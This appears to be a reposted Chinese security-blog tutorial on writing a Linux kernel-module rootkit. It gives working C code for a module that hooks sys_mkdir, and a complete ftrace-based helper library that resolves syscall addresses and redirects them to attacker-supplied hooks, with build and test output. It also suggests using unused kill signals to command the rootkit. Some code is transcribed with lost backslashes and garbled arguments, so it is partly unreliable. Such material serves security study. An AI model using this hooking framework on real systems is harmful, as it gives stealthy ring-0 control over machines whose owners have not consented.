Linux Kernel Rootkit 2 — LKM Rootkit

IoT 2年前 (2021) admin
1,218 0 0


什么是Linux Kernel Rootkit

作为内核 rootkit 意味着我们编写的代码将通过我们编写的内核模块以内核级权限(ring 0)运行。这可能是一把双刃剑:我们所做的对于用户和用户空间工具是不可见的,但是如果我们搞砸了一些事情,我们很可能会导致系统崩溃,因为内核已经被我们破坏!所以建议开发LKM rootkit时在虚拟机中进行,并保存好快照。

内核 rootkit 中的主要技术是函数挂钩。本质上,我们在内存中使用一个函数来执行一些我们想要影响的操作(列出目录内容、向进程发送信号等)并编写出对应的程序。这个过程的一部分涉及保存原始函数的副本,我们仍然可以实现正常功能而无需重写它,然后我们必须找到一种方法将我们的新函数“注入”到内核中,这样内核将继续“正常”运行(也就是没有任何外部迹象向用户表明某些函数已经被替换)。本文主要使用的函数挂钩方法是ftrace。

ftrace

Ftrace 是一个内核跟踪器,旨在帮助系统的开发人员和设计人员找到内核内部发生的事情。它可用于调试或分析发生在用户空间之外的延迟和性能问题。

尽管 ftrace 通常被认为是函数跟踪器,但它实际上是一个由多种跟踪程序组成的框架。有延迟跟踪来检查中断禁用和启用之间发生的情况,以及抢占和从任务被唤醒到任务实际调度的时间。

ftrace 最常见的用途之一是事件跟踪。整个内核中有数百个静态事件点,可以通过 tracefs 文件系统启用它们,以查看内核某些部分发生的情况。

Ftrace 使用 tracefs 文件系统来保存控制文件以及显示输出的文件。

当 tracefs 被配置到内核中时 ,目录 /sys/kernel/tracing 将被创建。要挂载此目录,可以添加到 /etc/fstab 文件中:

tracefs       /sys/kernel/tracing       tracefs defaults        0       0

或者可以在运行时安装它:

mount -t tracefs nodev /sys/kernel/tracing

为了更快地访问该目录,可能需要创建一个软链接:

ln -s /sys/kernel/tracing /tracing

在 4.1 之前,所有 ftrace 跟踪控制文件都在 debugfs 文件系统中,该文件系统通常位于 /sys/kernel/debug/tracing。为了向后兼容,在挂载 debugfs 文件系统时,tracefs 文件系统将自动挂载在:/sys/kernel/debug/tracing , 位于 tracefs 文件系统中的所有文件也将位于该 debugfs 文件系统目录中。

LKM Rootkit 开发工作流程

本文使用Ubuntu 20.04的环境

parallels@ubuntu20:/$ uname -a
Linux ubuntu20.04 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 17:43:26 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux

构建内核模块

让我们看看下面的 C 代码

#include <linux/init.h> //这个头文件包含了你的模块初始化与清除的函数

#include <linux/module.h> //这个头文件包含了许多符号与函数的定义,这些符号与函数多与加载模块有关
#include <linux/kernel.h>

MODULE_LICENSE("GPL"); // "GPL" 是指明了 这是GNU General Public License的任意版本,除非你的模块显式地声明一个开源版本,否则内核会默认你这是一个私有的模块(Proprietary)。
MODULE_AUTHOR("TheXcellerator"); // 声明作者
MODULE_DESCRIPTION("Basic Kernel Module"); // 对这个模块作一个简单的描述
MODULE_VERSION("0.01"); // 这个模块的版本

static int __init example_init(void)
{
    printk(KERN_EMERG "Hello, world!n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_EMERG "Goodbye, world!n");
}

module_init(example_init);
module_exit(example_exit);

内核模块和应用程序的最大区别是入口函数,内核模块的入口函数不再是main()函数,而是通过module_init指定,当一个内核被加载到内核运行时,首先要执行由module_init指定的hello_init。

函数example_init在模块加载后执行,example_exit在模块卸载时执行。最后两行向编译器声明example_init和example_exit具有的角色。(可以随意命名这两个函数,只要在它们的声明中保留__init和__exit并更改代码最后两行)。

printk是在内核源码中用来记录日志信息的函数,只能在内核源码范围内使用。用法和printf非常相似,printk函数主要做两件事情:第一件就是将信息记录到log中,而第二件事就是调用控制台驱动来将信息输出。

printk相比printf来说还多了个:日志级别的设置,用来控制printk打印的这条信息是否在终端上显示的,当日志级别的数值小于控制台级别时,printk要打印的信息才会在控制台打印出来,否则不会显示在控制台

在我们内核中一共有8种级别,他们分别为

#define KERN_EMERG "<0>" /* system is unusable   */
#define KERN_ALERT "<1>" /* action must be taken immediately */
#define KERN_CRIT "<2>" /* critical conditions   */
#define KERN_ERR "<3>" /* error conditions   */
#define KERN_WARNING "<4>" /* warning conditions   */
#define KERN_NOTICE "<5>" /* normal but significant condition */
#define KERN_INFO "<6>" /* informational   */
#define KERN_DEBUG "<7>" /* debug-level messages   */

在本文中,我们几乎总是使用KERN_INFO或KERN_DEBUG。请注意,这个宏不像字符串的其余部分那样使用引号!printk()就像printf()一样,是我们调试时从内核中提取数据的主要方法。

我们使用以下 Makefile 来编译它:

obj-m += example.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
parallels@ubuntu20:~/Desktop/rootkit$ make
make -C /lib/modules/5.4.0-80-generic/build M=/home/parallels/Desktop/rootkit modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-80-generic'
  CC [M]  /home/parallels/Desktop/rootkit/example.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/parallels/Desktop/rootkit/example.mod.o
  LD [M]  /home/parallels/Desktop/rootkit/example.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-80-generic'

生成的example.ko是新构建的内核模块(.ko用于内核对象),要将其加载到正在运行的内核中,只需运行 # insmod example.ko. 现在,如果检查dmesg,应该可以看到“Hello,world!” 线!要删除内核模块,只需运行# rmmod example(请注意,.ko当我们卸载模块时没有),可以看到告别消息出现在内核缓冲区中。

root@ubuntu20:/home/parallels/Desktop/rootkit# dmesg | grep Hello
[366225.781179] Hello, world!

Ftrace 和函数挂钩

已经构建了第一个内核模块,但是现在我们想让它做一些很酷的事情——比如改变正在运行的内核的行为。我们这样做的方法是通过函数挂钩,但问题是 – 我们如何知道要挂钩哪些函数?

对我们来说幸运的是,已经有很多潜在目标:系统调用。系统调用是可以从用户空间调用的内核函数,一些常见的系统调用有:

  • open
  • read
  • write
  • close
  • execve
  • fork
  • kill
  • mkdir

将我们自己的功能添加到这些函数中的任何一个都可能非常有趣。我们可以拦截read对某些文件的调用并返回不同的内容,或者使用execve。我们甚至可以利用kill中的一些废弃信号,向我们的rootkit发送命令,以采取某些行动。

但首先,更好地了解我们如何从用户空间进行系统调用会很有帮助。

从用户空间进行系统调用

如果查看 X86_64 的 syscall 表,就会发现每个 syscall 都分配有一个关联的编号(这些编号会因不同的体系结构和内核版本而异,但幸运的是我们可以使用一堆宏让我们摆脱这个困境)。

在X86架构中,如果我们想进行系统调用,那么我们必须将我们想要的系统调用号存储到rax寄存器中,然后通过软件中断调用内核syscall。在我们使用中断之前,系统调用需要的任何参数都必须加载到某些寄存器中,并且返回值几乎总是放入rax

最好通过一个例子来说明这一点——让我们以系统调用 0 为例sys_read(所有系统调用都以sys_开头)。如果我们使用查找这个系统调用man 2 read,我们会看到它被定义为:

ssize_t read(int fd, void *buf, size_t count);

fd是文件描述符(从open()调用返回),buf是用于存储读取数据的缓冲区,count是要读取的字节数。返回值是成功读取的字节数。

我们看到我们有 3 个参数需要传递给sys_read系统调用,但是我们如何知道将它们放入哪些寄存器呢?在Linux的系统调用参考为我们提供了以下的答案:

Linux Kernel Rootkit 2 -- LKM Rootkit

因此,rdi 获取文件描述符,rsi 获取指向缓冲区的指针,并rdx获取要读取的字节数。给rax赋值 0x0 ,那么我们就可以进行系统调用,汇编代码如下所示:

mov rax, 0x0
mov rdi, 5
mov rsi, buf
mov rdx, 10
syscall

内核如何处理系统调用

这对用户空间来说一切都很好,但是内核呢?我们的 rootkit 将在内核上下文中运行,因此我们应该对内核如何处理系统调用有一些了解。

但是在 64 位内核版本 4.17.0 及更高版本中,内核处理系统调用的方式发生了变化。首先,我们将看看旧方法,因为它仍然适用于 Ubuntu 16.04 等发行版,并且学习了旧版本,新版本就会更容易理解。

首先我们看一下在 Ubuntu 16中 /usr/src/linux-headers-**/include/linux/syscalls.h 中对sys_read 的定义

asmlinkage long sys_read(unsigned int fd, char __user *buf, size_t count);

首先解释一下asmlinkage关键词的意思,asmlinkage是个宏,使用它是为了保持参数在stack中。看一下/usr/include/asm/linkage.h里面的定义:

#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0)))

__attribute__是关键字,是gcc的C语言扩展,regparm(0)表示不从寄存器传递参数。这样,所有的函数参数强迫从栈中提取。

如果我们为sys_read编写一个钩子,我们只需要自己模仿这个函数声明,我们就可以随意使用这些参数。

在(64 位)内核版本 4.17.0 中,情况发生了变化。用户首先存储在寄存器中的参数被复制到一个名为 pt_regs 的特殊结构中,然后这是传递给系统调用的唯一内容。然后系统调用负责从这个结构中提取它需要的参数。根据ptrace.h,它具有以下形式:

struct pt_regs {
    unsigned long bx;
    unsigned long cx;
    unsigned long dx;
    unsigned long si;
    unsigned long di;
    /* redacted for clarity */
};

这意味着,在 sys_read 的情况下,我们必须做这样的事情:

asmlinkage long sys_read(const struct pt_regs *regs)
{
    int fd = regs->di;
    char __user *buf = regs->si;
    size_t count = regs->d;
    /* rest of function */
}

当然,真实sys_read不需要这样做,因为内核会为我们完成工作。但是当我们编写一个钩子函数时,我们将需要以这种方式处理参数。

第一个系统调用钩子

我们将考虑上述两种方法来创建一个非常简单的钩子,用于sys_mkdir,将正在创建的目录的名称打印到内核缓冲区。之后,我们将担心如何让这个钩子真正被使用而不是真正的sys_mkdir。

首先,我们需要检查我们正在编译的内核版本,可以在 linux/version.h 中查看。然后我们将使用一堆预处理器宏来为我们简化事情。

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");

#if defined(LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
    char __user *pathname = (char *)regs->di;
    char dir_name[NAME_MAX] = {0};

    long error = strncpy_from_user(dir_name, pathname, NAME_MAX);

    if (error > 0)
        printk(KERN_INFO "rootkit: trying to create directory with name: %sn", dir_name);

    orig_mkdir(regs);
    return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);

asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
    char dir_name[NAME_MAX] = {0};

    long error = strncpy_from_user(dir_name, pathname, NAME_MAX);

    if (error > 0)
        printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);

    orig_mkdir(pathname, mode);
    return 0;
}
#endif

/* init and exit functions where the hooking will happen later */

首先要注意的是,我们有 2 个几乎相同的函数,由 if/else 预处理器条件分隔。检查内核版本和体系结构后,才能决定PTREGS_SYSCALL_STUBS 是否会定义。如果是,那么我们定义orig_mkdir函数指针和hook_mkdir函数声明,以及使用pt_regs结构。否则,我们使用参数的实际名称给出完整的声明。请注意,在钩子的第一个版本(我们使用的地方pt_regs)中,我们还必须包含以下行

char __user *pathname = (char *)regs->di;

char __user 的使用通常在linux 内核中,表示这个地址在用户空间中。这行代码是为了从结构regs中提取出路径名参数。

另一个需要注意的重要事项是strncpy_from_user()函数的使用。

strncpy_from_user() 从用户空间复制一个以 NULL 结尾的字符串,将 NUL 终止的字符串从用户空间复制到内核空间。成功时,返回字符串的长度(不包括尾随的 NULL)。如果访问用户空间失败,则返回 -EFAULT(某些数据可能已被复制)。如果count小于字符串的长度,则复制count个字节并返回count。

内核为我们提供了很多类似的功能,比如 copy_from_user(),strncpy_from_user()等等,以及copy_to_user(),用于复制数据返回到用户空间。在上面的代码片段中,我们从 pathname, 复制一个字符串到 dir_name,我们将读取到NAME_MAX(通常是 255 – Linux 中文件名的最大长度),或者直到我们遇到一个空字节。

一旦我们获得了要存储在dir_name缓冲区中的新文件夹的名称,我们就可以继续使用printk()通常的%s格式字符串将其打印到内核缓冲区中。

printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);

最后,最重要的部分是 orig_mkdir() 使用相应的实际参数进行调用。这确保了sys_mkdir(即实际创建新文件夹)的原始功能仍然保留。那么,orig_mkdir 与真实sys_mkdir 有什么关系,我们所做的只是通过一个函数指针来定义它, 将 orig_mkdir 与真正的 sys_mkdir 连接起来,是我们即将要讲的函数挂钩过程的一部分。注意,在这两种情况下,orig_mkdir都是全局定义的。这使得 rootkit_init 和 rootkit_exit 中的钩子/解钩代码可以利用它。

剩下的唯一事情就是将这个函数实际挂钩到内核中,而不是真正的sys_mkdir。

使用 Ftrace 进行函数挂钩

我们将使用 Ftrace 在内核中创建一个函数挂钩。在实践中,我们创建一个ftrace_hook数组,然后在rootkit_init()中调用fh_install_hooks()和在rootkit_exit()中调用fh_uninstall_hooks()。任何 rootkit 的真正核心都是钩子,这将是以后博客文章的重点。我们需要的所有功能都已打包到ftrace_helper.h这个头文件中。

/*
 * Helper library for ftrace hooking kernel functions
 * Author: Harvey Phillips ([email protected])
 * License: GPL
 * */


#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#if defined(LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

/* x64 has to be special and require a different naming convention */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif

#define HOOK(_name, _hook, _orig)   
{                   
    .name = SYSCALL_NAME(_name),        
    .function = (_hook),        
    .original = (_orig),        
}


/* We need to prevent recursive loops when hooking, otherwise the kernel will
 * panic and hang. The options are to either detect recursion by looking at
 * the function return address, or by jumping over the ftrace call. We use the 
 * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
 * setting it to 1. (Oridinarily ftrace provides it's own protections against
 * recursion, but it relies on saving return registers in $rip. We will likely
 * need the use of the $rip register in our hook, so we have to disable this
 * protection and implement our own).
 * */

#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif

/* We pack all the information we need (name, hooking function, original function)
 * into this struct. This makes is easier for setting up the hook and just passing
 * the entire struct off to fh_install_hook() later on.
 * */

struct ftrace_hook {
    const char *name;
    void *function;
    void *original;

    unsigned long address;
    struct ftrace_ops ops;
};

/* Ftrace needs to know the address of the original function that we
 * are going to hook. As before, we just use kallsyms_lookup_name() 
 * to find the address in kernel memory.
 * */

static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
    hook->address = kallsyms_lookup_name(hook->name);

    if (!hook->address)
    {
        printk(KERN_DEBUG "rootkit: unresolved symbol: %sn", hook->name);
        return -ENOENT;
    }

#if USE_FENTRY_OFFSET
    *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
    *((unsigned long*) hook->original) = hook->address;
#endif

    return 0;
}

/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
    struct ftrace_hook *hook = container_of(opsstruct ftrace_hookops);

#if USE_FENTRY_OFFSET
    regs->ip = (unsigned long) hook->function;
#else
    if(!within_module(parent_ip, THIS_MODULE))
        regs->ip = (unsigned long) hook->function;
#endif
}

/* Assuming we've already set hook->name, hook->function and hook->original, we 
 * can go ahead and install the hook with ftrace. This is done by setting the 
 * ops field of hook (see the comment below for more details), and then using
 * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
 * provided by ftrace.h
 * */

int fh_install_hook(struct ftrace_hook *hook)
{
    int err;
    err = fh_resolve_hook_address(hook);
    if(err)
        return err;
    /* For many of function hooks (especially non-trivial ones), the $rip
     * register gets modified, so we have to alert ftrace to this fact. This
     * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
     * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
     * the built-in anti-recursion guard provided by ftrace is useless if
     * we're modifying $rip. This is why we have to implement our own checks
     * (see USE_FENTRY_OFFSET). */

    hook->ops.func = fh_ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
            | FTRACE_OPS_FL_RECURSION_SAFE
            | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 00);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
        return err;
    }

    err = register_ftrace_function(&hook->ops);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %dn", err);
        return err;
    }

    return 0;
}

/* Disabling our function hook is just a simple matter of calling the built-in
 * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
 * opposite order to that in fh_install_hook()).
 * */

void fh_remove_hook(struct ftrace_hook *hook)
{
    int err;
    err = unregister_ftrace_function(&hook->ops);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %dn", err);
    }

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 10);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
    }
}

/* To make it easier to hook multiple functions in one module, this provides
 * a simple loop over an array of ftrace_hook struct
 * */

int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
    int err;
    size_t i;

    for (i = 0 ; i < count ; i++)
    {
        err = fh_install_hook(&hooks[i]);
        if(err)
            goto error;
    }
    return 0;

error:
    while (i != 0)
    {
        fh_remove_hook(&hooks[--i]);
    }
    return err;
}

void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
    size_t i;

    for (i = 0 ; i < count ; i++)
        fh_remove_hook(&hooks[i]);
}

首先我们需要指定一个数组,Ftrace 将使用它来为我们处理钩子。

static struct ftrace_hook hook[] = {
    HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};

该HOOK宏需要我们所针对的系统调用或内核函数的名称 ( sys_mkdir)、我们编写的钩子函数 ( hook_mkdir) 以及我们希望保存原始系统调用的地址 ( orig_mkdir)。请注意,hook[]对于更复杂的 rootkit ,它可以包含的不仅仅是一个函数钩子!

一旦设置了这个数组,我们用 fh_install_hooks() 来安装函数钩子并用 fh_remove_hooks() 删除它们。我们所要做的就是将它们分别放在 init 和 exit 函数中并进行一些错误检查:

static int __init rootkit_init(void)
{
    int err;
    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if(err)
        return err;

    printk(KERN_INFO "rootkit: loadedn");
    return 0;
}

static void __exit rootkit_exit(void)
{
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
    printk(KERN_INFO "rootkit: unloadedn");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

make之后使用 mkdir lol 创建一个文件夹,使用 dmesg 查看内核信息,可以看到我们的rootkit成功捕获到了这个信息

$ sudo dmesg -C
$ sudo insmod rootkit.ko
$ mkdir lol
$ dmesg
3271.730008] rootkit: loaded
3276.335671] rootkit: trying to create directory with name: lol

我们的 rootkit 成功地连接了 sys_mkdir 系统调用,Ftrace 负责确保 orig_mkdir 指向原始文件,这样我们就可以在我们的钩子中调用 sys_mkdir 。

对于未来的新手,我们需要做的就是为我们的目标函数编写一个新的钩子,并hooks[]用细节更新数组。

ftrace_helper.h 详解

粗略地说,ftrace 的特性之一是它允许我们将回调附加到内核的一部分。具体来说,我们可以告诉 ftrace 在 rip 寄存器包含某个内存地址时介入。如果我们将此地址设置为sys_mkdir(或任何其他函数)的地址,那么我们可以导致执行另一个函数。

ftrace 实现此目的所需的所有信息都要保存到一个名为ftrace_hook的结构体. 因为我们希望允许多个钩子,所以我们使用hooks[]数组:

static struct ftrace_hook hooks[] = {
    HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};

为了更快更简单地填充这个结构,我们有HOOK宏:

#define HOOK(_name, _hook, _orig) 

    .name = SYSCALL_NAME(_name), 
    .function = (_hook), 
    .original = (_orig), 
}

该SYSCALL_NAME宏负责处理这样一件事:在 64 位内核上,将__x64_添加到系统调用的名称之前。

现在,我们需要看一下fh_install_hooks()函数,这个函数遍历hooks[]数组并调用fh_install_hook()每个元素。

看一下fh_install_hook()函数,可以发现这个函数做的第一件事是在ftrace_hook对象上调用fh_resolve_hook_address()。这个函数是使用 kallsyms_lookup_name()(由提供)来找到真正的系统调用的内存地址,即我们案例中的sys_mkdir,Ftrace 需要知道我们将要挂钩的原始函数的地址。这很重要,因为我们需要保存这个地址,这样我们就可以把它分配给orig_mkdir(),而且当模块被卸载时我们可以恢复一切。我们把这个地址保存在ftrace_hook结构的.address字段中。

接下来是一个预处理器语句:

#if USE_FENTRY_OFFSET
    *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
    *((unsigned long*) hook->original) = hook->address;

为了理解这一点,我们需要思考当我们试图钩住函数时,递归循环的危险性。有两种主要的方法来避免这种情况;我们可以尝试通过查看函数的返回地址来检测递归,或者我们可以直接跳过ftrace调用(上面的+MCOUNT_INSN_SIZE)。为了在各种方法之间进行切换,我们有 USE_FENTRY_OFFSET。如果它被设置为0,我们就使用第一个选项,否则就用第二个。

我们正在使用第一个选项,这意味着我们必须禁用ftrace提供的保护。这种内置的保护依赖于在rip中保存返回寄存器,但如果我们想使用rip,我们就不能冒险破坏它。最终,我们不得不实现我们自己的保护措施。所有这一切都归结于ftrace_hook结构中的.original字段被设置为.name命名的系统调用的内存地址。

fh_install_hook()的下一步是设置ftrace_hook中的.ops字段,它本身就是一个有几个字段的结构。

hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS

        | FTRACE_OPS_FL_RECURSION_SAFE

        | FTRACE_OPS_FL_IPMODIFY;

如上所述,rip可能会被修改,所以我们必须通过设置FTRACE_OPS_FL_IP_MODIFY来提醒ftrace。为了设置这个标志,我们还必须设置FTRACE_OPS_FL_SAVE_REGS标志,它将原始系统调用的pt_regs结构传递给我们的钩子。最后,我们还需要关闭ftrace内置的递归保护,这就是FTRACE_OPS_FL_RECURSION_SAFE标志的原因(默认情况下,这个标志是打开的)。

当我们设置这些标志时,我们做的另一件事是将ops.func子字段设置为fh_trace_thunk–这就是我们前面提到的回调。看一下这个函数,我们发现它真正做的是将rip寄存器设置为指向hook->function。剩下的就是确保这个回调在rip包含sys_mkdir的地址时被执行。

err = ftrace_set_filter_ip(&hook->ops, hook->address, 00);
if(err)
{
    printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
    return err;
}

err = register_ftrace_function(&hook->ops);
if(err)
{
    printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %dn", err);
    return err;
}

ftrace_set_filter_ip()告诉ftrace只有在rip是sys_mkdir的地址时才执行我们的回调(这个地址已经在前面的hook->address中保存)。最后,我们通过调用register_ftrace_function()来启动整个事情。在这一点上,函数钩子已经到位了

正如你所想象的那样,当我们卸载模块并调用 rootkit_exit() 时,fh_remove_hooks() 就会反过来做所有这些事情。

这里借用网上一篇文章的图来讲解下ftrace和hook的整个过程:

Linux Kernel Rootkit 2 -- LKM Rootkit

在此图中,我们可以看到用户进程(蓝色)如何执行对内核(红色)的系统调用,其中ftrace框架(紫色)从我们的模块(绿色)调用函数。

下面,我们详细描述了这个过程的每一步:


    1. SYSCALL指令由用户进程执行。该指令允许切换到内核模式,并让低级系统调用处理程序entry_SYSCALL_64()负责。此处理程序负责64位内核上64位程序的所有系统调用。

    1. 一个特定的处理器接收控制。内核快速完成汇编程序上实现的所有低级任务,并将控制权移交给高级的do_syscall_64()函数,该函数使用c语言编写。该函数到达系统调用处理程序表sys_call_table,并通过系统调用号调用特定的处理程序。在我们的示例中,它是sys_execve()函数。

    1. 调用ftrace。在每个内核函数的开头都有一个fentry()函数调用。该函数由ftrace框架实现。在不需要跟踪的函数中,这个调用被替换为nop指令。然而,对于sys_execve()函数,没有这样的调用。

    1. Ftrace调用我们的回调。Ftrace调用所有注册的跟踪回调,包括我们的。其他回调不会干扰,因为在每个特定的位置,只能安装一个回调来更改%rip寄存器的值。

    1. 回调函数执行hooking。这个回调函数查看在do_syscall_64()函数内部的parent_ip引导的值——因为它是调用sys_execve()处理程序的特定函数——并决定hook函数,在pt_regs结构中更改寄存器%rip的值。

    1. Ftrace恢复寄存器的状态。在FTRACE_SAVE_REGS标志之后,框架在调用处理程序之前将注册状态保存在pt_regs结构中。当处理结束时,从相同的结构恢复寄存器。我们的处理程序修改了寄存器%rip——一个指向下一个执行函数的指针——这会导致将控制传递到一个新的地址。

    1. 包装函数接收控制。无条件跳转使它看起来像sys_execve()函数的激活已经终止。不是这个函数,而是fh_sys_execve()函数。同时,处理器和内存的状态保持不变,因此我们的函数接收原始处理程序的参数,并将控制权返回给do_syscall_64()函数。

    1. 原函数是由包装函数调用的。现在,系统调用在我们的控制之下。在分析系统调用的上下文和参数之后,fh_sys_execve()函数可以允许或禁止执行。如果禁止执行,函数返回一个错误代码。否则,函数需要重复对原始处理程序的调用,并且通过钩子设置期间保存的real_sys_execve指针再次调用sys_execve()。

    1. 回调获得控制权。就像在sys_execve()的第一次调用期间,控件通过ftrace到我们的回调。但这一次,这个过程以不同的方式结束。

    1. 回调什么也不做。sys_execve()函数不是由内核从do_syscall_64()调用的,而是由我们的fh_sys_execve()函数调用的。因此,寄存器保持不变,sys_execve()函数照常执行。唯一的问题是,ftrace两次看到sys_execve()的入口点。

    1. 包装函数获得控制权。系统调用处理程序sys_execve()第二次将控制权交给我们的fh_sys_execve()函数。现在,一个新进程的启动已经接近完成。我们可以看到execve()调用是否完成了一个错误,研究新的进程,对日志文件做一些注释,等等。

    1. 内核接收控制。最后,运行完fh_sys_execve()函数,并返回do_syscall_64()函数。该函数将调用视为正常完成的调用,而内核照常运行。

    1. 控制权转交给用户进程。最后,内核执行IRET指令(或SYSRET,但对于execve()只能执行IRET),为新用户进程安装寄存器,并将处理器切换到用户代码执行模式。系统调用结束了,新进程的启动也结束了。

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析+AI 长期招新

欢迎联系[email protected]



Linux Kernel Rootkit 2 -- LKM Rootkit

原文始发于微信公众号(ChaMd5安全团队):Linux Kernel Rootkit 2 — LKM Rootkit

版权声明:admin 发表于 2021年11月2日 上午12:00。
转载请注明:Linux Kernel Rootkit 2 — LKM Rootkit | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...